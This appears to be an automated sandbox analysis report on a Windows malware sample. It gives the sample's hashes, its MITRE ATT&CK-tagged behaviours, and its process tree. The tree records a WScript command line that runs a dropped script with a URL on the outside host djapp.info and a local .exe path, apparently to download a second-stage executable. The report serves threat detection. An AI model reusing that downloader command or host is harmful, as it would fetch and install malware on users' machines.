95172265219873daf15380fff37be68d44f2b72fb9d27c841104054235e049d8

Analysis

max time kernel
93s
max time network
124s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
27/04/2024, 03:44

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General

Target

025803cb94e82d6970b57a4c5f3f3a75_JaffaCakes118.exe
Size

184KB
MD5

025803cb94e82d6970b57a4c5f3f3a75
SHA1

0827b8e650cc22a64002cc03928094ab446de2bc
SHA256

95172265219873daf15380fff37be68d44f2b72fb9d27c841104054235e049d8
SHA512

63e06d1e088bb41135bbaf8ca3c268cc8c3b1b6c9dacfa35c3a7e8793374221ceeb56d6a5a9fe19b1868d3a280c3623da38b6ba734f544e556e535c40b98d5bb
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3B:/7BSH8zUB+nGESaaRvoB7FJNndnA

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 5 IoCs

flow	pid	Process
3	3864	WScript.exe
22	3652	WScript.exe
25	3432	WScript.exe
29	4776	WScript.exe
31	3756	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000\Control Panel\International\Geo\Nation	025803cb94e82d6970b57a4c5f3f3a75_JaffaCakes118.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\Local Settings	025803cb94e82d6970b57a4c5f3f3a75_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 1300 wrote to memory of 3864	1300	025803cb94e82d6970b57a4c5f3f3a75_JaffaCakes118.exe	80
PID 1300 wrote to memory of 3864	1300	025803cb94e82d6970b57a4c5f3f3a75_JaffaCakes118.exe	80
PID 1300 wrote to memory of 3864	1300	025803cb94e82d6970b57a4c5f3f3a75_JaffaCakes118.exe	80
PID 1300 wrote to memory of 3652	1300	025803cb94e82d6970b57a4c5f3f3a75_JaffaCakes118.exe	87
PID 1300 wrote to memory of 3652	1300	025803cb94e82d6970b57a4c5f3f3a75_JaffaCakes118.exe	87
PID 1300 wrote to memory of 3652	1300	025803cb94e82d6970b57a4c5f3f3a75_JaffaCakes118.exe	87
PID 1300 wrote to memory of 3432	1300	025803cb94e82d6970b57a4c5f3f3a75_JaffaCakes118.exe	88
PID 1300 wrote to memory of 3432	1300	025803cb94e82d6970b57a4c5f3f3a75_JaffaCakes118.exe	88
PID 1300 wrote to memory of 3432	1300	025803cb94e82d6970b57a4c5f3f3a75_JaffaCakes118.exe	88
PID 1300 wrote to memory of 4776	1300	025803cb94e82d6970b57a4c5f3f3a75_JaffaCakes118.exe	90
PID 1300 wrote to memory of 4776	1300	025803cb94e82d6970b57a4c5f3f3a75_JaffaCakes118.exe	90
PID 1300 wrote to memory of 4776	1300	025803cb94e82d6970b57a4c5f3f3a75_JaffaCakes118.exe	90
PID 1300 wrote to memory of 3756	1300	025803cb94e82d6970b57a4c5f3f3a75_JaffaCakes118.exe	91
PID 1300 wrote to memory of 3756	1300	025803cb94e82d6970b57a4c5f3f3a75_JaffaCakes118.exe	91
PID 1300 wrote to memory of 3756	1300	025803cb94e82d6970b57a4c5f3f3a75_JaffaCakes118.exe	91

C:\Users\Admin\AppData\Local\Temp\025803cb94e82d6970b57a4c5f3f3a75_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\025803cb94e82d6970b57a4c5f3f3a75_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1300
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf5043.js" http://www.djapp.info/?domain=XAZOurEfhf.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf5043.exe
  2⤵
  - Blocklisted process makes network request
  PID:3864
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf5043.js" http://www.djapp.info/?domain=XAZOurEfhf.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf5043.exe
  2⤵
  - Blocklisted process makes network request
  PID:3652
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf5043.js" http://www.djapp.info/?domain=XAZOurEfhf.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf5043.exe
  2⤵
  - Blocklisted process makes network request
  PID:3432
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf5043.js" http://www.djapp.info/?domain=XAZOurEfhf.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf5043.exe
  2⤵
  - Blocklisted process makes network request
  PID:4776
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf5043.js" http://www.djapp.info/?domain=XAZOurEfhf.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf5043.exe
  2⤵
  - Blocklisted process makes network request
  PID:3756

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fuf5043.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

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